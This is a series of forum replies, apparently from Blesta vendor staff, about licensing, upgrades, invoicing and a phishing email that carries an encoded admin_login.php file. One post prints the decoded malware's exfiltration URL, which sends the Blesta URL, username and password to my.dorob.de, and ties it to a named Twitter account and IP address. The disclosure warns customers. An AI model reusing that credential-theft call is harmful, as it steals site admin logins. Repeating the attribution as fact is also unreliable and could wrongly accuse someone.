Paul

We'll be releasing an update to the license manager shortly. Probably Monday. Cody says this was resolved, though I can't find the task I am probably overlooking it. Update: Ah, CORE-1351 Does not ship with 3.3 because it's an extension. Will be in the download area once released.

All patched up again today, after getting all patched up yesterday. If there's another patch to fix the previous patches I'm going to start drawing some parallels.

Everyone *should* keep their software updated and a lot of hosting companies do make the effort. Still, there are many smaller hosting companies that don't. Much of the market consists of smaller hosting providers that have reseller accounts from larger hosting providers. Fortunately, the majority of them are now running PHP 5.3+, hence the pending minimum requirements bump.

Anyone send you the decoded file? The ISP is telling me they are aware of the police investigation. I'm curious how it turns out, and wish you the best of luck.

We sent a notice to the ISP

I may move some beta threads over before I close the forum. I'm in no hurry to close the forum right now as it's the typical post-release rush of tickets and am pretty busy. So... feature requests that have not been implemented, and bug fixes that have not been fixed?

We found an issue where in some cases you wouldn't be able to upgrade with a trial license. This may or may not have affected some monthly licenses. @flangefrog wasn't affected by this.. what you have going on is something very different, and I suspect may be related to your server. The data sent from your server is missing important information, and I don't know why. I can't duplicate in my testing. My suggestion is to try to roll back to 3.2 for now. You should only have to restore your files, as your database has not been upgraded.

I am looking into the issue right now.

Open a ticket, you shouldn't get this with a monthly license at all.

Yeah, PauloV decoded it. I debated not posting this information but here's where the file sends your admin details: https://my.dorob.de/modules/addons/passwords/insert.php?url=" . $url . "&user=" . $u . "&pw=" . $p Domain is registered to: IP address is 37.228.135.135 which belongs to: This person also has the twitter account https://twitter.com/dorobde and was critical of Blesta in this tweet: https://twitter.com/DoRobDE/status/507934296829861888

I sent you a PM with a trial key. When you install Blesta, there is a "sign up for a 30 day free trial" option.. it obtains a trial key automatically. If you have any trouble with the new key, let me know. Thanks, Paul

Thanks for that. As I suspected, it does capture your Blesta URL, Username, and Password.

I emailed you a copy from our phillipsdata gmail.

I have the file, but my attempt to decode it using a popular service failed. My guess is that it probably captures your login credentials and emails the attacker.

If anyone did receive the email, please let us know. So far only 1 client has reported receiving the email.

If you received an email like this, ignore it. The email contains an encoded admin_login.php file, DO NOT UPLOAD IT TO YOUR SERVER.

Ok with me as long as it's clear that it's a 3rd party app and not directly from us.

Have you seen CORE-923? Your thoughts on this method? Also, Blesta tracks all client contact information updates, you can see these logged under Tools > Logs > Contacts. In the future, we'll allow contact details to be "rolled back". It *may* be possible, but perhaps expensive query-wise, to fetch the proper details for the invoice from here.

Thanks for expressing your interest! Hoping to get to TCAdmin soon.

Invoice numbers typically do not change. With the introduction of proforma, this may or may not work for the OP. The proforma language may be renamed and used for this purpose, if proforma isn't what is desired here. The numbering will not remain the same in the new invoice numbers, for example, a proforma invoice number of 123 will not maintain 123 within the number when paid and converted to an invoice. So, a proforma invoice number of 123 could come out as 2014-415 for example. They will increment based on invoice settings, so they can still be sequential.

I sent you a PM with a new trial key. If you have any trouble, make sure port 443 egress is open at your firewall and you have curl ssl installed in your PHP.

Blesta sanitizes output where necessary, you just shouldn't assume that it is if you're writing something custom. Make sure.

I believe he wants the ability to send a service activation or welcome email after the fact. This has been requested before, and I'm generally in favor of it. The question is whether there are any limitations in doing so after a service has already been activated.

If you are using the Universal module, you should get an email for a Package Change, you just need to configure the email for the Universal Module Product that's in use. There is no approval system for upgrades/downgrades at the moment. You can either allow customers to upgrade/downgrade, or not. The setting applies to the company, and also client groups, so you can allow some client groups to upgrade/downgrade, or change terms, independently, per group.

We will have to look at this in more detail as there is no way currently to "queue up" these kinds of actions.